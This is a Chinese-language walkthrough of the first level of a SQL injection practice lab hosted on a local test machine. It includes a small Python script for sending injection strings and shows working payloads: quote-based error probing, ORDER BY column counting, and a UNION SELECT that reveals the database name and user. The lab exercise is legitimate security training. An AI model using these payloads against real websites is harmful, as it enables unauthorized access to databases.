sqlmaster第一关Less-1
测试IP:http://192.168.64.131 目录:/sqlmaster/Less-1/
- 由于直接在浏览器注入数据时一些符号采用十六进制表示,看着很花,所以我们直接在python中测试注入
编写简易python网页请求代码:
import requests
import parsel
import re
print("http://192.168.64.131/sqlmaster/Less-1/")
while True:
inject_code = input(">>>")
url = f"http://192.168.64.131/sqlmaster/Less-1/{inject_code}"
try:
url_get = requests.get(url)
except:
print("[-]主机未上线!")
continue
Less_1_data = url_get.text
selctors = parsel.Selector(Less_1_data)
data = selctors.xpath('/html/body/div/font[2]').getall()
try:
data =str(re.findall('<font size="3" color="#FFFF00">(.*?)</f',str(data))[0])
except:
print("Error : 404 Not Found")
continue
if "\\r" in data and "\\n" in data and "<br>" in data:
data = data.replace("\\r","")
data = data.replace("\\n","")
data = data.replace("<br>","\r\n")
elif "\\r" in data and "\\n" in data and "\\'\\" in data:
data = data.replace("\\r","")
data = data.replace("\\n","")
data = data.replace("\\","")
elif "\\r" in data and "\\n" in data:
data = data.replace("\\r","")
data = data.replace("\\n","")
else:
exit()
print(data)
效果如图:
额。。。可能简陋了点,但并不妨碍我们练习。
开始测试
由前面的图可以看到,当我们输入:?id=1
的时候,页面给出了正常的数据
那么这个时候我们尝试加入“'
”:
可以看到页面将错误的信息打印了出来,告诉我们是因为多了一个分号而导致的,那么我们就将我们输入的分号变为有效的让页面php代码给出的分号变为无效的。
我们键入:?id=1' --+
效果如图:
“--
”代表注释后面的语句,“+
”代表空格,避免字符串拼接使注释语法失效
这时,代表“'
”后面可以写入我们的注入语句,我们可以先判断字段数量:
键入:?id=1'order by [number] --+
,number代表任意数字
效果如图:
可以看到,当我们查看id=1的order by 到4的字段时报错了,所以字段数是3
接下来就好办了,我们使用union注入
键入:?id=555'union select 1,2,3 --+
这里的 ?id=555'
也可以替换为?id=1' and 1=2
只要让主查询语句返回False就可以了
效果如图:
可以看到,在字段2,3中可以注入查询命令查看数据
接着键入:?id=555'union select 1,database(),user() --+
来获取当前数据库的名称以及数据库的用户名
效果如图:
- 注入成功,第一关通过!